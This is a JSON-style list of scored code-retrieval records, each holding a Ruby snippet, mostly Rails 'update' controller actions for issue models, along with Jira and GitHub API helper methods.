"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4829748ab81bd17d52ff1165c0f2613",
"score": "0.67093945",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "092fa2f8b8e531ec844df5a22ba3cf4f",
"score": "0.67051095",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to issues_path, notice: t(\"issues.success\")+t(\".success\") }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e9bf61599bf8b6aba8554ccbe1fafd1",
"score": "0.6667153",
"text": "def update\n @issue = @user.issues.find(params[:id])\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to user_url(@user), notice: '成功编辑新闻.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "292281241db23e345ff3dec3953d80dc",
"score": "0.6659309",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to [@book, @issue], notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b95f084fcda73123f98b3f5c12374c3",
"score": "0.66587",
"text": "def update\n respond_to do |format|\n if @new_issue.update(new_issue_params)\n format.html { redirect_to @new_issue, notice: 'New issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @new_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a3e4b1fe0b8eedcb9ece6900f86785a",
"score": "0.66389495",
"text": "def update\n respond_to do |format|\n if @ticket_issue.update(ticket_issue_params)\n format.html { redirect_to :back, notice: 'Ticket issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ticket_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57ff3671f8a10acac3e1394d7a06b350",
"score": "0.6632469",
"text": "def update\n\t\trespond_to do |format|\n\t\t\tif @issue.update(issue_params)\n\t\t\t\tformat.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @issue.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8924de16d5b68934713e2dc8e2cbab54",
"score": "0.66214925",
"text": "def issue_update(issue, edit_opts = {})\n # always ensure we are logged in first\n ensure_logged_in\n\n\n json = {\n :update => {}\n }\n\n edit_opts[:fields].keys.each do |f|\n json[:update][f] = [ { :set => edit_opts[:fields][f] } ]\n end\n\n edit_opts[:customfields].andand.each_pair do |n,cf|\n json[:fields][n] = cf\n end\n\n if edit_opts[:commentText]\n json[:update][:comment] = [ {\n :add => {\n :body => edit_opts[:commentText]\n }\n } ]\n end\n\n # If we are updating priority, need to fetch its ID\n if edit_opts[:priority]\n priorities = json_get(\"rest/api/#{@api_version}/priority\")\n priority_name = nil\n priority_id = nil\n priorities.each do |p|\n if p[:name].match(Regexp.new(edit_opts[:priority], Regexp::IGNORECASE))\n @log.debug(\"Matched priority name #{p[:name]}\")\n priority_name = p[:name]\n priority_id = p[:id]\n break\n end\n end\n if priority_name.nil?\n @log.error \"Unable to find priority for #{edit_opts[:priority]}, ignoring!\"\n else\n json[:update][:priority] = [ { :set => {:id => priority_id} } ]\n end\n end\n\n # If we are updating components, need to fetch the possibilities\n if !edit_opts[:components].andand.empty?\n # create the container\n json[:update][:components] = []\n components = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/components\")\n\n # for each component, figure out if we are adding or removing and match to an ID\n edit_opts[:components].each do |current_component|\n operation = :add\n current_component.gsub!(/^\\+/, '')\n if current_component.match(/^-/)\n operation = :remove\n current_component.gsub!(/^-/, '')\n end\n\n found = false\n components.each do |c|\n if c[:name].match(Regexp.new(current_component, Regexp::IGNORECASE))\n @log.debug(\"Matched component #{operation} => #{c[:name]} for regex #{current_component}\")\n json[:update][:components] << { operation => { :id => c[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find component for #{current_component}, ignoring!\"\n end\n end\n end\n\n # If we are updating issuetype, need to fetch the possibilities\n if !edit_opts[:issuetype].andand.empty?\n found_issue_type = nil\n match = false\n issuetypes = json_get(\"rest/api/#{@api_version}/issue/createmeta?projectKeys=#{issue[:fields][:project][:key]}\")[:projects].first[:issuetypes]\n issuetypes.sort {|a,b| a[:id].to_i <=> b[:id].to_i }.each do |issuetype|\n @log.debug \"Found issuetype: #{issuetype[:name]}\"\n\n if issuetype[:name].match(Regexp.new(edit_opts[:issuetype] || \".\", Regexp::IGNORECASE))\n found_issue_type = issuetype\n match = true\n break\n end\n end\n\n if match\n json[:fields] = {} if json[:fields].nil?\n json[:fields][:issuetype] = { :id => found_issue_type[:id] }\n # XXX: Note that if the issue was a non-sub-task and we are\n # converting to a sub-task type, the call will fail (with a very\n # unhelpful error message \"Issue type is a sub-task but parent\n # issue key or id not specified.\"). This is because the REST API\n # does not support this. See:\n # https://jira.atlassian.com/browse/JRA-27893\n # Leaving this stuff in here anyways in case they ever fix it,\n # and also so we can re-parent existing subtasks, or switch\n # between two issue types where both are subtask or non-subtask.\n @log.debug(\"Matched issue type #{found_issue_type[:name]} with regex #{edit_opts[:issuetype]}\")\n if !edit_opts[:parent].nil?\n @log.debug(\"Including parent key #{edit_opts[:parent]}\")\n json[:fields][:parent] = { :key => edit_opts[:parent] }\n end\n else\n raise Atlassian::IllegalArgumentError.new(\"Unable to find matching issue type for regex #{edit_opts[:issuetype]}\")\n end\n end\n\n # If we are updating fixversions, need to fetch the possibilities\n if !edit_opts[:fixversions].andand.empty?\n # create the container\n # ARGH! the key \"fixVersions\" isn't listed in the editmeta API\n # call output...but it works (as of jira 5.2.11 anyways). and YES,\n # it is case senstiive. awesome.\n json[:update][:fixVersions] = []\n fixversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each fixversion, figure out if we are adding or removing and match to an ID\n edit_opts[:fixversions].each do |current_fixversion|\n operation = :add\n current_fixversion.gsub!(/^\\+/, '')\n if current_fixversion.match(/^-/)\n operation = :remove\n current_fixversion.gsub!(/^-/, '')\n end\n\n found = false\n fixversions.each do |f|\n if f[:name].match(Regexp.new(current_fixversion, Regexp::IGNORECASE))\n @log.debug(\"Matched fixversion #{operation} => #{f[:name]} for regex #{current_fixversion}\")\n json[:update][:fixVersions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find fixversion for #{current_fixversion}, ignoring!\"\n end\n end\n end\n\n # If we are updating affectsversions, need to fetch the possibilities\n if !edit_opts[:affectsversions].andand.empty?\n # create the container\n json[:update][:versions] = []\n affectsversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each affectsversion, figure out if we are adding or removing and match to an ID\n edit_opts[:affectsversions].each do |current_affectsversion|\n operation = :add\n current_affectsversion.gsub!(/^\\+/, '')\n if current_affectsversion.match(/^-/)\n operation = :remove\n current_affectsversion.gsub!(/^-/, '')\n end\n\n found = false\n affectsversions.each do |f|\n if f[:name].match(Regexp.new(current_affectsversion, Regexp::IGNORECASE))\n @log.debug(\"Matched affectsversion #{operation} => #{f[:name]} for regex #{current_affectsversion}\")\n json[:update][:versions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find affectsversion for #{current_affectsversion}, ignoring!\"\n end\n end\n end\n\n if edit_opts[:assignee]\n # get the list of assignable people for this issue\n assignees = json_get(\"rest/api/#{@api_version}/user/assignable/search?issueKey=#{issue[:key]}&maxResults=2&username=#{URI.escape(edit_opts[:assignee])}\")\n\n if (assignees.size != 1)\n @log.error \"Unable to find UNIQUE assignee for #{edit_opts[:assignee]}, ignoring (try a larger substring, check spelling?)\"\n @log.error \"Candidates: \" + assignees.map {|x| x[:name] }.join(\", \")\n else\n json[:update][:assignee] = [{ :set => { :name => assignees.first[:name] } } ]\n end\n end\n\n response = json_put(\"rest/api/#{@api_version}/issue/#{issue[:key]}\", json)\n @log.info \"Successfully updated issue #{issue[:key]}\"\n response\n end",
"title": ""
},
{
"docid": "56371dd1d86be3d350eab496a072aff3",
"score": "0.65249604",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to admin_issue_url(@issue), notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de26f5b29c52a00a32d009f76bd17f5f",
"score": "0.64786875",
"text": "def update\n @issue = Issue.find(params[:id])\n\n # Send response\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, flash: { success: 'Issue was successfully updated.' }}\n format.json { head :no_content }\n else\n @project = @issue.project\n @form_object = @issue\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ba2f2abb99ae382991db39bfc56ccc1",
"score": "0.64770496",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to issues_url, notice: 'Нарушение №'+@issue.id.to_s+' обновлено.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "043e9fb3b3d60cc5455bb6540aad012f",
"score": "0.6472059",
"text": "def update\n @issue = Issue.find(params[:id])\n #check access\n if @issue.ref != session[:ref]\n return redirect_to issues_url\n end\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae155e7739f19228ededcd40958aecd8",
"score": "0.64505976",
"text": "def update\n @issue_resource = IssueResource.find(params[:id])\n\n respond_to do |format|\n if @issue_resource.update_attributes(issue_resource_params)\n format.html { redirect_to @issue_resource, notice: 'Issue resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3dfd72837070885272bf3560f5423a63",
"score": "0.6428244",
"text": "def update\n @issue = Issue.find(params[:id])\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n if @issue.user.authenticated_with_github?\n if @issue.gist_id\n @gist = params[:issue][\"relevant_gist\"]\n @issue.relevant_gist = @gist\n @issue.edit_github_gist(@gist, @current_user)\n else\n new_gist = params[:issue][\"relevant_gist\"]\n @issue.send_to_github(new_gist, @current_user) if new_gist != \"\"\n @issue.relevant_gist = new_gist\n end\n end\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3d5556dc9e9fc84cad08e8962fcf1c6",
"score": "0.6398903",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to [@magazine, @issue], notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f40e26dc7a63117be33b3cac4256cb53",
"score": "0.63873804",
"text": "def update\n respond_to do |format|\n if @ticket.update(ticket_params)\n format.html { redirect_to @ticket, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74657d078bcc71b2b8509c9e18870b3c",
"score": "0.63847923",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n if @attachments\n @attachments.each do |a|\n @issue.attached_files.create(file: a)\n end\n end\n\n create_comment\n\n format.html {redirect_to @issue, notice: 'Issue was successfully updated.'}\n format.json {render json: @issue, status: :ok, serializer: ShowIssueSerializer}\n else\n format.html {render :edit}\n format.json {render json: @issue.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "a2bf10151701e78adce1c51238267252",
"score": "0.6382875",
"text": "def update!(**args)\n @issues = args[:issues] if args.key?(:issues)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "4e6595367a5fa6139ce9f8dd1b090353",
"score": "0.6382642",
"text": "def update\n respond_to do |format|\n if @known_issue.update(known_issue_params)\n format.html { redirect_to @known_issue, notice: 'Known issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @known_issue }\n else\n end\n end\n end",
"title": ""
},
{
"docid": "9f1c01419a2d86c47389788a91500cce",
"score": "0.6368871",
"text": "def update\n @issue.update_attributes(params[:issue])\n respond_with(@issue, :location => show_path) do |format|\n format.json { render :json => @issue.to_json(:methods => [:display_as]) }\n end\n end",
"title": ""
},
{
"docid": "f08b35316ba8f3084b7d03a677ce9883",
"score": "0.6355365",
"text": "def update\n @issue = Issue.find(params[:id])\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to(project_issue_path(@project, @issue), :notice => 'Issue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @issue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9fcf9f7fab719087ed472092ab395497",
"score": "0.63508934",
"text": "def update\n respond_to do |format|\n iparams = issue_params\n iparams['speaker_id'] = current_speaker.id\n if @issue.update(iparams)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bf21ead8c425132f105d6c4c6af7c307",
"score": "0.6348179",
"text": "def update\n respond_to do |format|\n if !User.exists?(id: params[:assignee_id])\n format.json {render json: {\"error\":\"User with id=\"+params[:assignee_id]+\" does not exist\"}, status: :unprocessable_entity}\n else\n @issue_to_update = Issue.find(params[:id])\n @issue_to_update.update(issue_params)\n \n format.html { redirect_to @issue_to_update }\n format.json { render json: @issue_to_update, status: :ok, serializer: IssueSerializer}\n end\n end\n end",
"title": ""
},
{
"docid": "a7222668588d1972454fe991205e7e1b",
"score": "0.63444823",
"text": "def update\n respond_to do |format|\n if @gitissue.update(gitissue_params)\n format.html { redirect_to @gitissue, notice: 'Gitissue was successfully updated.' }\n format.json { render :show, status: :ok, location: @gitissue }\n else\n format.html { render :edit }\n format.json { render json: @gitissue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.63429374",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "1a98869e7b90a8f0fa3660f1e998e904",
"score": "0.6342469",
"text": "def update(issue, key)\n fetch({:method => :put, :key => key, :body => issue})\n end",
"title": ""
},
{
"docid": "17e2916630bbda049eefdfe3332422e6",
"score": "0.6312655",
"text": "def update\n @issue = Issue.find(params[:issue_id])\n @article = Article.find(params[:id]) \n @article.update_attributes(params[:article])\n #@article = @issue.articles.find(params[:id])\n\n # respond_to do |format|\n # if @article.update_attributes(params[:issue])\n # format.html { redirect_to @issue, notice: 'Article was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @issue.errors, status: :unprocessable_entity }\n # end\n # end\n redirect_to issue_path(@issue)\n end",
"title": ""
},
{
"docid": "dae5805d4608c0327d9008ccc13dabf1",
"score": "0.6310126",
"text": "def update\n @issue = Issue.find(params[:id])\n \n p = params[:issue]\n\n Message.create(:user => current_user, :issue => @issue, :text => \"Changed type to #{Issue.type_with_id(p[:type].to_i)}\") if p[:type] != @issue.type\n Message.create(:user => current_user, :issue => @issue, :text => \"Assigned to #{User.find(p[:user])}\") if (p[:user] != @issue.user_id) and p[:user]\n\n respond_to do |format|\n if @issue.update_attributes(params[:issue])\n format.html { redirect_to issues_path, notice: 'Issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab9ce91bd7bff8f02bb9c8c773f8a2aa",
"score": "0.6293418",
"text": "def update_development_info_jira (jira_issues, name, type)\n\tif type == \"branch\"\n\t\tfield = JIRA_FIELD_BRANCH\n\telsif type == \"pull_request\"\n\t\tfield = JIRA_FIELD_PULL_REQUEST\n\tend\n\ti = 0;\n\twhile (i < jira_issues.length) do\n\t\tjira_issue = jira_issues[i].join\n\n\t\tdata = {\n\t\t\t\"fields\" => {\n\t\t\t\tfield => name\n\t\t\t}\n\t\t}.to_json\n\n\t\theaders = {\n\t :\"Authorization\" => \"Basic #{JIRA_TOKEN}\",\n\t :\"Content-Type\" => \"application/json\"\n\t }\n\n\t if jira_issue =~ /(?:|^)(JQWE-[0-9]+|PQ-[0-9]+|JTQ-[0-9]+|JRQ-[0-9]+|JCEQ-[0-9]+|JITR.+-[0-9]+|TOOLSONE-[0-9]+)(?=|$)/i\n\t\t\turl = JACKTHREADS_JIRA_URL + jira_issue\n\t\telse\n\t\t\turl = THRILLIST_JIRA_URL + jira_issue\n\t\tend\n\n\t\tresponse = RestClient.put( url, data, headers )\n\n\t\ti+=1\n\tend\n\n\t#\"customfield_10000\" = branch\n\t#\"customfield_10123\" = pull_request\nend",
"title": ""
},
{
"docid": "6ba2cbd230cd61042dec6c174640c1d3",
"score": "0.62880266",
"text": "def update\n @unfix_issue = UnfixIssue.find(params[:id])\n # @unfix_issue = BaseIssue.find(params[:id])\n\n respond_to do |format|\n if @unfix_issue.update_attributes(params[:unfix_issue])\n format.html { redirect_to @unfix_issue, :notice => 'Base issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @unfix_issue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "13e92f5f1244405f6e9361fc65c29550",
"score": "0.62653255",
"text": "def update\n respond_to do |format|\n if @saved_issue.update(saved_issue_params)\n format.html { redirect_to @saved_issue, notice: 'Saved issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @saved_issue }\n else\n format.html { render :edit }\n format.json { render json: @saved_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bb8fa19a24cc107e8c8918a235860b1",
"score": "0.62531364",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Your issue was submitted for approval' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bbdd8913eccd6b05c5c5148d6f720537",
"score": "0.62516266",
"text": "def updateIssue\n @issue = Issue.find(params[:id])\n @issue.update(issue_params)\n @issue.save\n if @issue.type == \"SnIssue\"\n Servicenow.createTicket\n end\n redirect_to issues_path\n end",
"title": ""
},
{
"docid": "de2142117bccf7095f9072eed10e0d4c",
"score": "0.6251175",
"text": "def edit(user_name, repo_name, issue_id, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of issue_id\n\n normalize! params\n # _merge_mime_type(:issue, params)\n filter! VALID_ISSUE_PARAM_NAMES, params\n\n patch_request(\"/repos/#{user}/#{repo}/issues/#{issue_id}\", params)\n end",
"title": ""
},
{
"docid": "54d1a9acf2419d4317698c62c5b0aae0",
"score": "0.6227572",
"text": "def update\n respond_to do |format|\n if @github_issue.update(github_issue_params)\n format.html { redirect_to @github_issue, notice: 'Github issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @github_issue }\n else\n format.html { render :edit }\n format.json { render json: @github_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3683b6c440447d1a4bd410ecdf1eda27",
"score": "0.62209976",
"text": "def update\n blacklist = [:pull_requests, :created_at, :updated_at]\n blacklist.each { |field| params[:repo].delete(field) }\n\n @repo = Repo.find(params[:id])\n\n respond_to do |format|\n if @repo.update_attributes(params[:repo])\n format.json { head :no_content }\n else\n format.json { render json: @repo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "294b24bc48f91fdffd3d2771d34fc270",
"score": "0.6202286",
"text": "def update_issue_status\n issues = Issue.all :conditions => { :project_id => @project.id,\n :tracker_id => @tracker.id,\n :subject => params[:subject] }\n if issues.size > 1\n @project = nil\n @tracker = nil\n @status = nil\n render_error({:message => :error_cws_ambiguous_query, :status => 400}) \n elsif issues.size == 0\n render_404\n else\n issue = issues[0]\n if !issue.new_statuses_allowed_to(User.current).include? @status\n render_403\n else\n if issue.status.id != @status.id\n issue.init_journal(User.current)\n issue.status = @status\n if issue.save\n if Setting.notified_events.include?('issue_updated')\n Mailer.deliver_issue_edit(issue.current_journal)\n end\n respond_to do |format|\n format.json { render :json => issue }\n format.xml { render :xml => issue }\n end\n else\n render_403\n end\n else\n # Return unchanged issue\n respond_to do |format|\n format.json { render :json => issue }\n format.xml { render :xml => issue }\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ce8d66ea1cd15f8526815c37a87e8395",
"score": "0.6178808",
"text": "def update\n @web_issue = WebIssue.find(params[:id])\n\n respond_to do |format|\n if @web_issue.update_attributes(params[:web_issue])\n format.html { redirect_to @web_issue, notice: 'Web issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @web_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa23218cc6f1d5f6b49b2c9dc368a095",
"score": "0.6164979",
"text": "def update\n respond_to do |format|\n if @issue_tracker.update(issue_tracker_params)\n format.html { redirect_to @issue_tracker, notice: 'Issue tracker was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_tracker }\n else\n format.html { render :edit }\n format.json { render json: @issue_tracker.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "922e8e59bfae316d6309589c21de81df",
"score": "0.6150468",
"text": "def update\n respond_to do |format|\n if @native_issue.update(native_issue_params)\n format.html { redirect_to @native_issue, notice: 'Native issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @native_issue }\n else\n format.html { render :edit }\n format.json { render json: @native_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5eabb28a6688c87689509d98dca06d9",
"score": "0.61491233",
"text": "def update\n @fab_issue = FabIssue.find(params[:id])\n\n if params[:cleanup] == \"full\"\n params[:fab_issue][:full_rev_reqd] = true\n params[:fab_issue][:bare_brd_change_reqd] = false\n elsif params[:cleanup] == \"bareboard\"\n params[:fab_issue][:full_rev_reqd] = false\n params[:fab_issue][:bare_brd_change_reqd] = true\n else\n params[:fab_issue][:full_rev_reqd] = false\n params[:fab_issue][:bare_brd_change_reqd] = false\n end\n if (params[:fab_issue][:resolved].to_i == 1) && params[:fab_issue][:resolved_on].blank?\n params[:fab_issue][:resolved_on] = Date.today\n end\n\n respond_to do |format|\n if @fab_issue.update_attributes(params[:fab_issue])\n #format.html { redirect_to fab_issues_url(:design_review_id => params[:design_review][:id]), notice: 'Fab issue was successfully updated.' }\n format.html { redirect_to session[:return_to], notice: 'Fab issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fab_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de38b2e5e8e91daaf7a496b0524e8c03",
"score": "0.6145586",
"text": "def update\n respond_to do |format|\n if @claim_issue.update(claim_issue_params)\n format.html { redirect_to @claim_issue, notice: 'Claim issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_issue }\n else\n format.html { render :edit }\n format.json { render json: @claim_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "367fb569e5a7ba56946c54688ca3f8e5",
"score": "0.61381584",
"text": "def update\n # update referrer and notes (if any)\n data = get_form_data\n data['referrer'] = @issue.referrer ? (\"#{@issue.referrer},#{data['referrer']}\") : data['referrer']\n baseline_note = \"<span class='label warning' style='margin-right: 5px'><strong>#{current_user.nickname}</strong></span>#{data['notes']}<br/>\"\n data['notes'] = @issue.notes ? (@issue.notes + baseline_note) : baseline_note\n respond_to do |format|\n if @issue.update(data)\n format.html { redirect_to @issue, notice: 'New referrer successfully added.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2ccae08accdfdf58be13d1ced1b8ec9",
"score": "0.61347026",
"text": "def update \n @issue = Issue.find(params[:id])\n @issue.update(issue_params)\n if User.exists?(id: @issue.user_id)\n if @issue.type == \"SnIssue\"\n redirect_to new_oit_path(@issue)\n elsif @issue.type == \"HrlIssue\"\n redirect_to new_hrl_path(@issue)\n elsif @issue.type == \"EamIssue\"\n redirect_to new_fmd_path(@issue)\n elsif @issue.type == \"PtIssue\"\n redirect_to new_pts_path(@issue)\n end\n else\n #render json: {status: \"error\", code: 3000, message: \"User does not exist! \\n Create issues with existing Users only.\"}\n render json: {status: \"error\", code: 3000, messages: @issue.errors.messages}\n end\n \n end",
"title": ""
},
{
"docid": "9607c1689db2e5a4c371180a0e606da0",
"score": "0.6132228",
"text": "def update\n @problem = @idea.problems.find(params[:id])\n\n if @problem.update_attributes(params[:problem])\n render json: { text: \"success\"}\n else\n render json: { text: \"fail\"}\n end\n end",
"title": ""
},
{
"docid": "c2559d25ad869d92d815fe01612fa962",
"score": "0.61317843",
"text": "def update\n respond_to do |format|\n if @room_issue.update(room_issue_params)\n format.html { redirect_to @room_issue, notice: 'Room issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @room_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3cfe6fc4a8f406aaec9f4074a495ae2",
"score": "0.6131697",
"text": "def update\n respond_to do |format|\n if @issue.update(issue_params)\n format.html { redirect_to [@issue.magazine, @issue], notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8317f59c58adcbfee2c5d0e8259795db",
"score": "0.6131182",
"text": "def update\n @issue_list = IssueList.find(params[:id])\n\n respond_to do |format|\n if @issue_list.update_attributes(params[:issue_list])\n format.html { redirect_to @issue_list, notice: 'Issue list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issue_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ec8e46273f28418b5e8bbf0595bc84a",
"score": "0.61250764",
"text": "def lock_old_closed_issues issues\n headers = {'Accept' => 'application/vnd.github.the-key-preview+json', # required for new lock API\n 'Content-Length' => '0', # required for PUT with no body\n 'Authorization' => \"Basic #{Base64.strict_encode64(\"#@user:#@token\")}\",\n 'Content-Type' => \"application/x-www-form-urlencoded\",\n }\n\n Net::HTTP.start(\"api.github.com\", 443, nil, nil, nil, nil, use_ssl: true) do |http|\n total = issues.length\n\n issues.each_with_index do |issue, i|\n number = issue['number']\n locking number, i, total\n\n _, _, _, _, _, path, * = URI.split issue[\"url\"]\n response = http.put(\"#{path}/lock\", '', headers)\n\n if response.code == \"204\" # 204 means it worked, apparently\n locked\n else\n error response.inspect\n end\n end\n end\n end",
